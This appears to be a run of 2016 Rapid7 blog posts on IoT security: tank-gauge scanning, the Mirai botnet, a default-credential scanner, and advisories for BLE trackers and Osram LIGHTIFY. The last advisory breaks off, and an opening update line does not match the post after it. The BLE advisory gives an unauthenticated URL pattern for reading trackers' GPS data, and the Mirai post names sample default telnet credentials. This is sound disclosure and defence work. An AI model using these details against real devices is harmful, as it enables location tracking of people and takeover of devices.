Update (2016-Nov-30): This blog post originally referred to the vulnerable service as TR-069, but it's since become clear this issue is in a related service, TR-064.

In early 2015, HD Moore performed one of the first publicly accessible research related to Internet-connected gas station tank gauges, The Internet of Gas Station Tank Gauges.

 

Later that same year, I did a follow-up study that probed a little deeper in The Internet of Gas Station Tank Gauges -- Take #2. As part of that study, we were attempting to see if the exposure of these devices changed in the ~10 months since our initial study as well as probe a little bit deeper to see if there were affected devices that we missed in the initial study due to the study's primitive inspection capabilities at the time. Somewhat unsurprisingly, the answer was no, things hadn't really changed, and even with the additional inspection capabilities we didn't see a wild swing that would be any cause for alarm.

 

Recently, we decided to blow the dust off this study and re-run it for old-time's sake in the event that things had taken a wild swing in either direction or if other interesting patterns could be derived.  Again, we found very little changed.

 

Not-ATGs and the Signal to Noise Ratio

 

What is often overlooked in studies like this is the signal to noise ratio seen in the results, the "signal" being protocol responses you expect to see and the "noise" being responses that are a bit unexpected.  For example, finding SSH servers running on HTTP ports, typically TCP-only services being crudely crammed over UDP, and gobs of unknown, intriguing responses that will keep researchers busy chasing down explanations for years.

 

These ATG studies were no exception.

 

not_tanks.jpg

 

In most recent zmap TCP SYN scan done against port 10001 on November 3, 2016, we found nearly 3.4 million endpoints responding as open. Of those, we had difficulty sending our ATG-specific probes to over 2.8 million endpoints -- some encountered socket level errors, others simply received no responses. It is likely that a large portion of these responses, or lack thereof, are due to devices such as tar-pits, IDS/IPS, etc. The majority of the remaining endpoints appear to be a smattering of HTTP, FTP, SSH and other common services run on odd ports for one reason or another.  And last but not least are a measly couple of thousand ATGs.

 

I hope to explore the signal and noise related problems related to Internet Scanning in a future post.

 

Future ATG Research and Scan Data

 

We believe that is important to be transparent with as much of our research as possible.  Even if a particular research path we take ends up a dead, boring end, by publishing our process and what we did (or didn't) find might help a future wayward researcher who ends up in this particular neck of research navigate accordingly.

 

With that said, this is likely to be our last post related to ATGs unless new research/ideas arise or interesting swings in results occur in future studies. Is there more to be done here?  Absolutely!  Possible areas for future research include:

 

  • Are there additional commands that exposed ATGs might support that provide data that is worth researching, for security or otherwise?
  • Are there other services exposed on these ATGs?  What are the security implications?
  • Are there advancements to be made on the offensive or defensive side relating to ATGs and related technologies?

 

We have published the raw zmap TCP scan results for all of the ATG studies we've done to date here.  We have also started conducting these studies on a monthly basis and these runs will automatically upload to scans.io when complete.

 

As usual, thanks for reading, and we welcome your feedback, comments, criticisms, ideas or collaboration requests here as a comment or by reaching out to us at research@rapid7.com.

 

Enjoy!

Let me tell you a story….

…a few months ago, I was going home from an airport in an Uber with my wife. We recently bought a house and were looking for some renovation work and discussing few ideas on the way. The very next day, I received a call from an unknown number—the caller said “Hello Mr. Dutta, I am [caller’s name] calling from [company name]. I would love to discuss the home renovation project you are planning to undertake in your home”. At this point his words started blurring as my mind was racing in different direction on how did this guy know all these details? Was it the city that informed them? Was it UBER? The timing was crazy! That got me thinking…

 

Security and usability

Everyone loves UBER. It’s quite easy to hail an UBER at a tap. But can UBER be a privacy risk? Can we say that for a better experience and usability, my privacy can be compromised?

 

I started digging deep into this relation. I realized that in websites when security measures like CAPTCHA are added, it makes the website more secure, but the conversation rates for those websites drop significantly as usability is reduced.

 

Looking at health care systems, in certain types of insulin pumps, a physician has all the vital information, including the patient’s blood glucose level, the moment a patient steps into the clinic. To enable this, the insulin pump has an always-on Bluetooth sensor. This convenience comes at the cost of high security risk, where it’s possible to tamper with the device remotelywith serious consequences.

 

Finding a balance

Such examples make us believe that security and usability are two antagonistic goals within system design. Simson Garfinkel, in his doctoral thesis at MIT, argued that there are many instances within which security and usability can be synergistically improved. This is possible by revising the way that specific functionality is implemented in many of today’s operating systems and applications. Garfinkel further explains that in every case considered, it is shown that the perceived antagonism of security and usability can be scaled back or eliminated by revising the underlying designs on which modern systems are conceived. The errors in system design, computer user interfaces, and interaction design can lead to common errors in secure operation.

 

By identifying and correcting these errors, users can naturally and automatically experience more secure operation. For instance, an emerging area is Internet of Things (IoT) devices—this area can benefit hugely from an established set of patterns/ rules/ framework which is optimized for security operations.

 

Widespread attacks

In September 2016, we saw a record-breaking Distributed Denial of Service (DDoS) attacks against the France-based hosting provider OVH. That attack reached over one Terabit per second (1 Tbps), and was carried out via a botnet of infected 150000 IoT devices. Less than a month later, a massive and sustained Internet attack caused outages and network congestion for a large number of web sites. This attack was launched with the help of hacked IoT devices, such as CCTV video cameras and digital video recorders, and impacted websites from high-profile organizations, including Twitter, Amazon, Tumblr, Reddit, Spotify and Netflix.

 

Mirai”, which was used to hijack the connected IoT devices, exploited the default usernames and passwords set by the factory before the devices are shipped to customers. Mirai is capable of launching HTTP floods, as well as various network DDoS attacks, including DNS floods, UDP floods, SYN and ACK floods, GRE IP and GRE ETH floods, STOMP (Simple Text Oriented Message Protocol) flood attacks.

 

Securing usable IoT and making secure IoT usable

While such incidents are scary, IoT devices are awesome!!! They make our lives easier. The potential for IoT is limitless. However, while security is a potential risk, we cannot afford to seize the opportunity to exploit IoT capabilities to its fullest.  What we need is discipline—some kind of governance or rule book on how to securely use these products.

 

Garfinkel refers to them as simple patterns.Developers and the organizations that employ them must analyze their risks, the cost of proposed security measures, and the anticipated benefits. Be it security or usability, neither should be added to a system as an afterthought. Instead, security and usability must be designed into systems from the beginning. By providing pre-packaged solutions to common design problems, patterns can address this deficit.

 

A great example of a Usability Pattern is “Copy and Paste” or “Drag and Drop” that have dramatically changed the usability of computer systems. Similarly, Security Patterns, such as using the Secure Socket Layer (SSL) to “wrap” cleartext protocols and Email-Based Identification and Authentication for resetting passwords, have allowed developers untrained in security to increase the security of their systems. Patterns that align security and usability of IOT devices can create that much-needed rule book for the IoT developers.

 

I want to leave you all with the thoughts that IoT systems must be viewed as socio-technical systems that depend on the social context in which they are embedded to function correctly. The security mechanisms will only be able to provide the intended protection when people actually understand and are able to use them correctly.

 

You can further read about independent IoT research complied by Tod Beardsley here, and read about danger of default passwords in IoT by Deral Heiland here.

 

Thank you for reading!

 

Saurabh Dutta,
Director of UX, Rapid7

Deral Heiland

Research Lead (IoT)

Posted by Deral Heiland Employee Nov 1, 2016

It has been an amazing journey serving as the Research Lead for the Internet of Things (IoT) at Rapid7 for past 10 months. I came into the role with more than a decade of experience as a security penetration tester and nearly 15 years of experience conducting security research across such areas as protocol based attacks, embedded device exploitation, and web vulnerabilities, so taking on the role, as Research Lead for IoT was the next obvious progression for me. Being able to focus on IoT specifically has made this job more fun and exciting.

Internet of Things - IoT - Rapid7.jpg

 

So why the focus on IoT research? IoT, while driving significant productivity gains for businesses and consumers, has become the wild west of technology, creating a number of security challenges for all of us. By creating a focused effort in IoT research we can better serve our customers and the security community at large by sharing the knowledge we gain during these efforts. Rapid7’s mission is to empower IT and Security to effectively and safely design, build and deploy technology innovation, and we see IoT as a major driver of innovation across industries. IoT is expected to hit over 20 billion connected devices by the end of the decade, and I anticipate it will also continue to be an ever-changing area of risk. A focused effort is critical to better securing our new IoT driven world.

 

I plan to take the opportunity this role has provided to help forge a path that will add value to the security community at large. For example, my research over the last 10 months has focused on examining a number of IoT technologies from enterprise to consumer-based products, exposing a number of vulnerabilities in their ecosystems. During these research projects we have successfully worked with a number of IoT manufacturers to help them better secure their products and, very importantly, helped them to expand their working knowledge in the area of security. The knowledge gained from these research projects has done more than just uncover vulnerability exposures, it has also helped us shape, identify and develop an understanding of issues plaguing IoT. Additionally, we have been given the opportunity to work with a number of customers, manufacturers and organizations to help better define methods around mitigating security issues related to IoT.

 

Moving forward I am very excited about the opportunities this research role will provide, allowing me to continue to expand my knowledge and understanding in all areas of IoT security. I plan to continue focusing our research efforts across multiple areas of the IoT discipline, including consumer, enterprise, medical, and industrial. Combined with all the IoT research efforts currently being conducted across Rapid7, we plan to work closely with our customers, IoT manufacturers and the security community at large to continue advancing our knowledge and expertise to better secure the new IoT driven world.  Combined with our Strategic Services offering, we are able to extend this knowledge to a wider number of organizations seeking to make the Internet of Things more secure and resilient.

So there's this Thing...

 

We need to talk about Things, you and I. Specifically those connected Things. This isn’t a weird breakup discussion

regarding a relationship you didn’t know we had (I hear that’s called stalking actually, and is an altogether different type of problem). There may be Things on your network that are harbouring a security issue, and that’s not a good place to be either. We can help you track them down (which does bear a slight resemblance to stalking, granted, but we’re security people and they’re just Things so it’s allowed).

thing-addams-family.jpg

 

Mirai - definitely not a Vision of Love

A recent DNS attack sent parts of the Internet into temporary meltdown – not just because our ability to share cat videos and food pictures was impeded. It became apparent that there’s a new kid in town – the Mirai botnet – which takes advantage of weak security in IoT devices. Default credentials are not the internet’s friend.

 

Now, there are plenty of good articles already available for you to read about the technicalities of the Mirai botnet, including this blog post from the highly distinguished Mr Tod Beardsley – so I’m not going to rewrite an already well authored wordy wheel, but like I said earlier we do have something cool for you to find out if you have Things on your own network that could pose a risk.

 

IoTSeeker – it does exactly what it says on the package!

So without further ado, I’d like to introduce you to IoTSeeker – a tool created by the incredibly smart folks on the Metasploit engineering team. IoTSeeker allows you to hunt down IoT devices which are languishing in your eco-system poorly configured with the same creds that they were born with. It’s nice and simple to use, and the scan output (example below) provides you with a list of Things and an indicator as to whether they need re-configuring to be in a more secure state.

IoTSeeker output identifying vulnerable IoT devices on network

 

To run this tool you’ll need to be on a Mac OS or a Linux OS, as IoTSeeker uses the perl module AnyEvent for high parallelism – which essentially means you can quickly scan A LOT of IPs. It’s free, because we’re nice like that, and we plan to keep updating it to include new Things that could be a problem. The steps on how to use IoTSeeker are available when you download the tool – and unless you have the attention span of an ADHD goldfish in a barrel full of squirrels, you’ll be up and scanning in a minute or so, it really is that simple.

 

A very important note: this tool is provided for you to only scan assets for which you have administrative responsibility.

 

Download the IoTSeeker here.

 

Feedback welcomed, and happy Thing Seeking!

Executive Summary

 

While examining the functionality of three vendors' device tracker products, a number of issues surfaced that leak personally identifying geolocation data to unauthorized third parties. Attackers can leverage these vulnerabilities to locate individual users' devices, and in some cases, alter geolocation data for those devices. The table below briefly summarizes the twelve vulnerabilities identified across three products.

 

Vulnerability

Device

R7 ID

CVE

Cleartext Password

TrackR Bravo

R7-2016-18.1

CVE-2016-6538

Tracking ID Exposed

TrackR Bravo

R7-2016-18.2

CVE-2016-6539

Unauthenticated Access

TrackR Bravo

R7-2016-18.3

CVE-2016-6540

Unauthenticated Pairing

TrackR Bravo

R7-2016-18.4

CVE-2016-6541

Tracking ID Exposed

iTrack Easy

R7-2016-20.1

CVE-2016-6542

Duplicate Registration

iTrack Easy

R7-2016-20.2

CVE-2016-6543

Unauthenticated Modification

iTrack Easy

R7-2016-20.3

CVE-2016-6544

Weak Session Management

iTrack Easy

R7-2016-20.4

CVE-2016-6545

Base64 Encoded Password

iTrack Easy

R7-2016-20.5

CVE-2016-6546

Cleartext Password

Zizai Tech Nut

R7-2016-22.1

CVE-2016-6547

Session Token Leaked

Zizai Tech Nut

R7-2016-22.2

CVE-2016-6548

Unauthenticated Pairing

Zizai Tech Nut

R7-2016-22.3

CVE-2016-6549

 

Credit

 

These issues were discovered by Deral Heiland and Adam Compton of Rapid7, Inc. and disclosed in accordance with Rapid7's disclosure policy.

 

Product Description

 

Bluetooth Low Energy (BLE) device trackers are small hardware tokens that are designed to be attached to personal items such as keyrings, wallets, or purses. These devices pair with the user's smartphone via Bluetooth, and can alert the user when the device moves out of range. The tracking hardware tokens themselves do not maintain network connections, but rely on associated smartphone apps to report geolocation data.

 

The devices examined were the TrackR Bravo from TrackR, the iTrack Easy from KKMCM.com, and the Nut from Zizai Tech. The Tile from TILE, Inc. was also examined, but none of these issues were discovered with this product, aside from a minor screenshot caching issue which does not appear to reveal private information.

 

Vulnerability Details

 

For each product, vulnerability details and possible mitigations are discussed below. Users concerned about these issues should reach out to their respective vendors using their normal support mechanisms, and update their mobile applications when fixes are released.

 

Until vendor-supplied fixes are available, the risks associated with these vulnerabilities should be weighed against the benefits of continuing to use these tracker devices and applications.

 

Most of the vulnerabilities described are only exploitable by an adversary who is in close physical proximity to the affected devices; the effective range of an exploit is noted on the summary table for each vendor.

R7-2016-18: Multiple Vulnerabilities in Trackr Bravo

 

Vulnerability

R7 ID

CVE

Range

Cleartext Password

R7-2016-18.1

CVE-2016-6538

Local Device

Tracking ID Exposed

R7-2016-18.2

CVE-2016-6539

Bluetooth

Unauthenticated Access

R7-2016-18.3

CVE-2016-6540

Internet

Unauthenticated Pairing

R7-2016-18.4

CVE-2016-6541

Bluetooth

 

The TrackR mobile app also caches screenshots when minimized; while no critical information appears to be exposed in this way, it is a best practice to clear unique data and use a generic application image for context switching.

R7-2016-18.1: Cleartext Password (CVE-2016-6538)

Examination of the TrackR Bravo mobile application running on an iPad revealed that the account password used to authenticate to the cloud API was stored in cleartext in the cache.db. Examining the cache.db file reveals the cleartext password as shown in Figure 1.

TrackR cleartext password_Fig 1.pngGiven typical user habits of password reuse, this sort of password disclosure can impact other online services.

 

Mitigation for R7-2016-18.1

A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information such as passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires device authentication.

 

Users are strongly advised to avoid reusing passwords between services whenever possible in order to limit the damaging effects of accidental or intentional exposure of account credentials.

 

R7-2016-18.2: Device Tracking ID Exposed (CVE-2016-6539)

The TrackR device ID can be obtained by being in close proximity to a TrackR device and utilizing a Bluetooth low energy (BLE) application to monitor for BLE devices. The TrackR ID is the manufacturer device ID, which is constructed of a manufacture identifier of four zeroes (0000), followed by the BLE MAC address in reverse (0f7c-XXXXXXd9) for a combined TrackR ID of 00000f7c-XXXXXXd9. This is shown in Figure 2.

 

TrackR device ID_Fig 2.png

Mitigation for R7-2016-18.2

A vendor-supplied patch should change the tracker ID so that is not directly related to the manufacturer device ID, nor the device's BLE MAC address.

 

Absent a vendor-supplied patch, users should be mindful of when they use the TrackR device in public spaces, as this ID can be reused on the cloud-hosted service to track devices (and therefore, the user) remotely as described in R7-2016-18.3.

 

R7-2016-18.3: Unauthenticated Access (CVE-2016-6540)

Unauthenticated access to the cloud-based service maintained by the vendor is allowed for querying or sending GPS data. Authentication appears to only be used to sync data back to the mobile application during application install or reinstall.

 

An adversary can access GPS data for any TrackR device from any web browser without authentication by using the tracker ID number (Figure 3), which can be discovered while being in Bluetooth range, as described above as R7-2016-18.2. The URL format is https://phonehalocloud.appspot.com/rest/tracker/00000f7c-XXXXXXd9.

 

TrackR tracker ID Bluetooth URL.png

Mitigation for R7-2016-18.3

A vendor-supplied patch to the cloud service should enable authentication before GPS data can be queried or written to the via the cloud service API.

 

Absent a vendor-supplied patch, users should be mindful of when they use the TrackR device in public which will expose the device ID, as described in R7-2016-18.2.

 

R7-2016-18.4: Unauthenticated Pairing (CVE-2016-6541)

TrackR Bravo device allows unauthenticated Bluetooth pairing, which allows unauthenticated connected applications to write data to various device attributes.

 

In the below example, this vulnerability allowed the device's advertised name to be changed via BLE - Generic Access 0x1800 Device name 0x2A00 as shown in Figure 4:

TrackR Device Name Change_Fig 4.png

This lack of write access authorization also allows an adversary to enable the device's remote alarm, triggering the alarm to both cause annoyance and drain the device's battery. Figure 5 describes this access via "BLE - Generic Access 0x1802 Device name 0x2A06."

 

TrackR alarm trigger_Fig 5.png

 

Mitigation for R7-2016-18.4

While the device is designed to pair with any nearby application to perform crowd-sourced, opportunistic geolocation services, a vendor-supplied patch should enable proper authenticated pairing for write access so only the authorized user's mobile application can pair and alter data on the device.

 

Absent a vendor-supplied patch, users should be mindful using the TrackR device in public spaces.

 

R7-2016-20: Multiple Vulnerabilities in iTrack Easy

 

Vulnerability

R7 ID

CVE

Range

Tracking ID Exposed

R7-2016-20.1

CVE-2016-6542

Bluetooth

Duplicate Registration

R7-2016-20.2

CVE-2016-6543

Internet

Unauthenticated Modification

R7-2016-20.3

CVE-2016-6544

Internet

Weak Session Management

R7-2016-20.4

CVE-2016-6545

WLAN

 

The iTrack mobile app also caches screenshots when minimized; while no critical information appears to be exposed in this way, it is a best practice to clear unique data and use a generic application image for context switching.

 

R7-2016-20.1: Tracking ID Exposed (CVE-2016-6542)

The iTrack device tracking ID number, also called "LosserID" in the web API, can be obtained by being in range of an iTrack device. The tracker ID is the device's BLE MAC address, as shown in Figure 6.

 

iTrack tracker ID_Fig 6.png

 

Mitigations for R7-2016-20.1

A vendor-supplied patch should change the tracker ID so that is not directly related to the manufacturer device ID, nor the device's BLE MAC address.

 

Absent a vendor-supplied patch, users should be mindful of when they use the iTrack device in public spaces, as this ID can be reused on the cloud-hosted service to track devices (and therefore, the user) remotely as described in R7-2016-20.2 and R7-2016-20.3.

 

R7-2016-20.2: Duplicate Registration (CVE-2016-6543)

A captured device MAC/losserid can be registered under multiple user accounts, as seen in Figure 7, allowing shared access to the cmd:getgps data.

 

iTrack losserid_Fig 7.png

This getgps data value is set when an iTrack device comes into detection range of another user's iTrack mobile application. The mobile application then sets the getgps GPS data for that detected device's losserID with the cmd:setothergps.

 

This vulnerability can be exploited by an adversary to register the authorized user's device, and therefore gain access to GPS data any time the device comes in proximity of a running instance of the iTrack mobile application.

 

Mitigations for R7-2016-20.2

A vendor-supplied patch should prevent the duplicate registration of devices.

 

Absent a vendor-supplied patch, users should be mindful of using the iTrack device in public spaces, as described in R7-2016-20.1.

 

R7-2016-20.3: Unauthenticated Modification (CVE-2016-6544)

The getgps data can be written without authentication by setting the data using the parametercmd:setothergps. An example of this is shown in Figure 8.

 

iTrack getgps_Fig 8.png

This vulnerability can be exploited by an adversary to alter the GPS location data of a lost device.

 

Mitigations for R7-2016-20.3

A vendor-supplied patch should require authentication before allowing write access for the data stored for getgps.

 

R7-2016-20.4: Weak Session Management (CVE-2016-6545)

Session cookies are not used for maintaining valid sessions. The user's password is passed as a POST parameter over HTTPS using a base64 encoded passwd field on every request. An example of this is shown in Figure 9, collected using standard man-in-the-middle (MitM) techniques.

iTrack passwd field_Fig 9.png

It is a best practice to manage web service sessions with session cookies, rather than resending the user's password. Session cookies can be expired or invalidated upstream after a timeout period or in the event of a compromise. In this implementation, sessions can only be terminated when the user changes the associated password.

 

Mitigations for R7-2016-20.4

A vendor-supplied patch should enable proper session management.

 

Absent a vendor-supplied patch, users should be mindful of when they use the iTrack device in public spaces and avoid connecting their mobile device to an unknown or open, public WiFi access point.

 

R7-2016-20.5: Cleartext, Base64-Encoded Password (CVE-2016-6546)

Examination of the iTrack Easy mobile application running on an iPad revealed that the account password used to authenticate to the cloud API was stored in a cleartext format in the cache.db. Examining the cache.db file reveals the base64-encoded password as shown in Figure 10.

iTrack cleartext password_Fig 10.png

Given typical user habits of password reuse, this sort of password disclosure can impact other online services.

 

Mitigation for R7-2016-20.5

A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information such as passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires device authentication.

 

Users are strongly advised to avoid reusing passwords between services whenever possible in order to limit the damaging effects of accidental or intentional exposure of account credentials.

 

R7-2016-22: Multiple Vulnerabilities in Zizai Tech Nut

 

Vulnerability

R7 ID

CVE

Range

Cleartext Password

R7-2016-22.1

CVE-2016-6547

Local Device

Session Token Leaked

R7-2016-22.2

CVE-2016-6548

WLAN

Unauthenticated Pairing

R7-2016-22.3

CVE-2016-6549

Bluetooth

 

R7-2016-22.1: Cleartext Password (CVE-2016-6547)

Examination of the Zizai Tech Nut mobile application running on an iPad revealed that the account password used to authenticate to the cloud API was stored in cleartext in the cache.db. Examining the cache.db file reveals the cleartext password as shown in Figure 11.

Zizai Tech Nut password cleartext_Fig 11.png

Given typical user habits of password reuse, this sort of password disclosure can impact other online services.

 

Mitigation for R7-2016-22.1

A vendor-supplied patch should configure the mobile app to prevent storing potentially sensitive information such as passwords in cleartext. While some local storage is likely necessary for normal functionality, such information should be stored in an encrypted format that requires device authentication.

 

Users are strongly advised to avoid reusing passwords between services whenever possible in order to limit the damaging effects of accidental or intentional exposure of account credentials.

 

R7-2016-22.2: Session Token Leaked (CVE-2016-6548)

Examination of the Nut mobile application running on an iPad revealed three requests which communicated without encryption (HTTP, rather than HTTPS). These requests contained the user's authenticated session token within the URL. Examples of these URLs are shown in the table below.

 

 

 

An adversary can capture these requests and reuse the session token to gain full access to the user's account. An example of this technique is shown in Figure 12.

Zizai Tech Nut session token_Fig 12.png

 

Mitigation for R7-2016-22.2

A vendor-supplied patch should configure the mobile app to always communicate over HTTPS, rather than the cleartext HTTP protocol. In addition, the mobile application should pass session tokens only via HTTP headers or as part of a POST request, rather than embedding the token in the URL.

 

Absent a vendor-supplied patch, users should be mindful of when they use the Nut mobile application in public spaces and avoid connecting their mobile device to an unknown or open, public WiFi access point.

 

R7-2016-22.3: Unauthenticated Pairing (CVE-2016-6549)

The Nut device allows unauthenticated Bluetooth pairing, which allows unauthenticated connected applications to write data to the device name attribute.

 

In the below example, this vulnerability allowed the device's advertised name to be changed via BLE - Generic Access 0x1800 Device name 0x2A00 as shown in Figure 13:

 

Zizai Tech Nut device name_Fig 13.png

 

Mitigation for R7-2016-22.3

While the device is designed to pair with any nearby application to perform crowd-sourced, opportunistic geolocation services, a vendor-supplied patch should enable proper authenticated pairing for write access so only the authorized user's mobile application can pair and alter data on the device.

 

Absent a vendor-supplied patch, users should be mindful using the Nut device in public spaces.

 

Disclosure Timeline

This vulnerability is being disclosed in accordance with Rapid7's disclosure policy.

 

  • Thu, Aug 25, 2016: Attempted contact with vendors.
  • Fri, Sep 09, 2016: Disclosed details to CERT/CC as VU#617567, VU#974055, and VU#402847
  • Fri, Sep 09, 2016: CVEs assigned by CERT/CC
  • Mon, Oct 17, 2016: Disclosed R7-2016-18 to TrackR as issue #295585.
  • Tue, Oct 25, 2016: Public Disclosure.
todb

Mirai FAQ: When IoT Attacks

Posted by todb Employee Oct 24, 2016

Update: Following the attack on Dyn back in October, there is some speculation over whether a similar Mirai-style attack could be leveraged to influence the election. This feels like FUD to me; there doesn't seem to be a mechanism to knock out one critical service to kick over enough state and county election websites, Dyn-style, to make such an attack practical. It could potentially be feasible if it turns out that a lot of city, county, and state websites are sharing one unique upstream resource, but without knowledge of that being the case, worries about a surgical DDoS against the election seems more like hyperbolic speculation than anything else.

 

Unless you've been blessed with some long DNS TTLs, you probably noticed that some name-brand chunks of the Internet seemed to go missing on Friday, October 21, including Twitter, GitHub, and Pandora. Over the weekend, it became clear that this was another (yes, another) IoT-based denial-of-service attack, where many thousands of devices with direct access to the internet participated in a wide-scale attack on DynDNS, unbeknownst to their legitimate owners, as part of a botnet called "Mirai."

 

What is Mirai?

Mirai is a botnet -- a malicious software application that is designed to gain unauthorized access to Linux-powered devices and conscript them into a distributed infrastructure of clients. Once enlisted, these machines have the capability to perform a variety of denial-of-service attacks against a target dictated by the attacker. In the Friday attacks, the target was Dynamic Network Services' managed DNS service (heretofore referred to as simply "Dyn").

 

How does Mirai work?

In order to gain access to IoT devices (and really, any Linux computer running telnet), Mirai does not exploit any software vulnerabilities. Instead, it simply tries to guess telnet login credentials for computers accessible via telnet from the internet. Some of these username and password combinations are pretty bad choices for anything hanging out on the internet, like "admin / admin" and "root / root," and some are associated with specific video surveillance systems, like "root / juantec" and "root / klv123." The complete list of credentials is published at GitHub, as part of the Mirai source code.

 

Once compromised, software is installed on that device that can kick off a variety of attacks as described in the source code, such as UDP or ACK flooding, DNS water torture, HTTP request flooding, and other volume-based attacks.

 

In the most recent attack, Dyn's services were knocked offline. Since Dyn provided DNS services exclusively for some major services, that meant that we could no longer figure out "where" on the Internet these services lived.

 

How big is Mirai?

Given the vagaries of internet-wide scanning, it's hard to say how many devices were involved in the Mirai botnet, but the order of magnitude looks to be in the hundreds of thousands range. For a sense of scale, we can look at the recent scans from the National Exposure Index, where we found 15 million apparent telnet servers. We also peeked at a recent Sonar scan of HTTPS certificates, where we found about 315,000 web servers providing a certificate associated with Dahua Technologies, one of the vendors of video surveillance systems that was targeted in the attack. Not all of these telnet servers or video systems are going to be vulnerable, and there are other vendors associated with the attack, but this "hundreds of thousands" figure seems about right.

 

With all these compromised and compromisable devices, Mirai is capable of sustaining hundreds of gigabytes per second of traffic against a chosen target.

 

What's Being Done to Fix This?

For this immediate issue, it looks like the heroic engineers at Dyn have been busy reconfiguring their routing in order to be able to weather further attacks. At the same time, their downstream customers are implementing more robust fall-back strategies with other DNS providers. This is not a vote of no confidence against Dyn, of course; disasters and outages happen, and it's only prudent for name-brand services to have fall-backs like this in place.

 

The fundamental problem of having many, many thousands of insecure devices on the internet remains an issue, though. BCP38 describes techniques for filtering traffic at the edge of an Internet Service Provider's network, which helps defend against DoS attack schemes that generate packets with forged source addresses, but this isn't particularly helpful against the threat demonstrated by Mirai.

 

What Can I Do?

First and foremost, you should not be exposing your telnet ports to the internet. Period. Full stop. End of story.

 

It doesn't matter how much you think you need unfettered access to telnet over the internet, you need to stop it. Now. There are much better alternative protocols, such as SSH for shell access, and HTTPS for GUI-based control, both of which offer modern security features like encryption and mutual authentication. Don't merely change your telnet access credentials; stop using them, and make it impossible for others to control your network bandwidth via telnet.

 

If you rely on a cloud service -- and who doesn't, these days -- then you should find out what their redundancy plans are in the event of not only an attack on their infrastructure, but an attack on their upstream providers. Reputable providers are quite forthcoming with sharing this information with their customers, and usually publish real-time status pages, like this one.

 

The Post-Mirai Reality

Unfortunately, the cost associated with exposing insecure devices is not just borne by the operators of these devices. While it may be creepy to know that anonymous, internet-based attackers can access your home or office camera feeds, the attacker in this case was not interested in those video streams at all. Instead, the attacker only cared about the processing power and network bandwidth of the vulnerable device.

 

Solving for externalities like this is extremely difficult, but given our track record, we know that technology professionals are pretty gifted at coming up with novel solutions to seemingly intractable problems. I'm confident we can come up with a solution that protects IoT devices, protects the rest of the network from those IoT devices, and still manages to preserve the open and distributed nature of the internet.

October is National Cyber Security Awareness month and Rapid7 is taking this time to celebrate security research. This year, NCSAM coincides with new legal protections for security research under the DMCA and the 30th anniversary of the CFAA - a problematic law that hinders beneficial security research. Throughout the month, we will be sharing content that enhances understanding of what independent security research is, how it benefits the digital ecosystem, and the challenges that researchers face.

 

2016 can be characterized as the year that IoT security research took off, both here at Rapid7 and across the security researcher community. While IoT security research was certainly being conducted in years past, it was contentious within our community as "too easy" or simply "stunt hacking." But as the body of research in this space grows along with the prevalence of IoT, it's become obvious that this sort of "easy" hacking is critical to not only the security of these devices in and of themselves, but to the safety of the people nearby these devices.

 

After all, the hallmarks of IoT is both the ability to interact with the real, physical space around the devices, and to communicate with other devices. Security failures, therefore, can both directly affect the humans who are relying on them and open attack vectors against nearby devices and the networks they are connected to.

 

With that in mind, I'd like take a moment to consider the more noteworthy events in IoT Security, and how together, they make the case that this year is when we stopped considering IoT security "junk hacking," and started taking these things seriously.

 

IoT Security in 2016

 

In January, Brian Knopf announced that the "I Am the Cavalry" security research advocacy group will be publishing an open, collaboration-driven cybersecurity rating system for IoT devices, in contrast to Underwriter Labs' proprietary standards. This isn't the first announced strategy to comprehensively rate the security of IoT devices, but it's certainly the most open. Transparency is crucial in security research and testing, since it allows for independent verification, reproducibility, and accountability.

 

In March, researcher Wish Wu of Trend Micro reported a pair of vulnerabilities in a Qualcomm component of the Android operating system which, if exploited, can allow a malicious application to grab root-level permissions. Wu presented these findings and others in May at the Hack in the Box security conference. While these bugs have been patched by Google, these findings remain significant for two reasons. One, Android is rapidly becoming the de facto standard operating system for the Internet of Things -- not just smartphones -- so bugs in Android can have downstream effects in everything from television set-top boxes, to children's toys, to medical devices. Second, and more worrying, many of these devices do not have the capability to get timely security updates or to upgrade their operating systems. Given the lack of moving parts in these machines, they can chug along for years without patches.

 

In May, researcher Earlance Fernandes and others at the University of Michigan demonstrated several vulnerabilities in Samsung's SmartThings platform for home automation, which centered around abusing and subverting applications to gain privileges, including a remote attack to reset a door lock PIN. Design issues of over-privileged applications are certainly not limited to Samsung's software engineering, but is commonplace in IoT infrastructure. Oftentimes, the services and applications that ship on IoT devices aren't designed with privilege constraints in mind. If the service does what it's supposed to do with administrative / root privileges, there isn't a lot of incentive to design it to work in a less permissive model, especially when designers aren't considering the motives or opportunity of a malicious user. In other words, while most traditional computers have pretty solid user privilege models, IoT devices often ignore this fundamental security concept.

 

In September, the Michigan Senate Judiciary Committee passed a bill that forbids some forms of "car hacking," but importantly, includes protections for research activities. These exemptions weren't included in the original text of the bill, but thanks to the efforts of Rapid7's Harley Geiger, we've seen a significant change in the way that legislators in Michigan view automotive cyber security and the value of security research there. While this bill is not yet law, the significance of this shift in thinking can't be understated.

 

Also in September, some of the early fears of widespread IoT-based insecurity manifested in the highly public IoT-powered DDoS attack against journalist Brian Krebs. This attack was made possible, in part, by the massive population of unpatched, unmanaged, and unsecured home routers, a topic explored way back in January by yours truly. Of course, I'm not saying I called it, but... I kinda called it.

 

Some closing pictures

 

Who doesn't love a good Google Trends graph? We can see from the below that interest in the "IoT Security" search term has doubled since the beginning of 2016, and I'd be surprised to see it hit any significant decline in the years to come.

 

iot security google trends graph.png

 

While much of this interest is pretty doomy and/or gloomy, it's healthy to be considering IoT security today, and I'm glad that IoT appears to be getting the respect and serious attention it deserves in the security research community. It's only through the efforts of individual, focused security researchers that we'll able to get a handle on the issues that bedevil the IoT-scape. Otherwise, we're looking at a future as envisioned by Joy of Tech:

Joy of Tech Internet of Ransomeware Things.png

Nine issues affecting the Home or Pro versions of Osram LIGHTIFY were discovered, with the practical exploitation effects ranging from the accidental disclosure of sensitive network configuration information, to persistent cross-site scripting (XSS) on the web management console, to operational command execution on the devices themselves without authentication. The issues are designated in the table below. At the time of this disclosure's publication, the vendor has indicated that all but the lack of SSL pinning and the issues related to ZigBee rekeying have been addressed in the latest patch set.

 

Description

Status

Platform

R7 ID

CVE

Cleartext WPA2 PSK

Fixed

Home

R7-2016-10.1

CVE-2016-5051

Lack of SSL Pinning

Unfixed

Home

R7-2016-10.2

CVE-2016-5052

Pre-Authentication Command Execution

Fixed

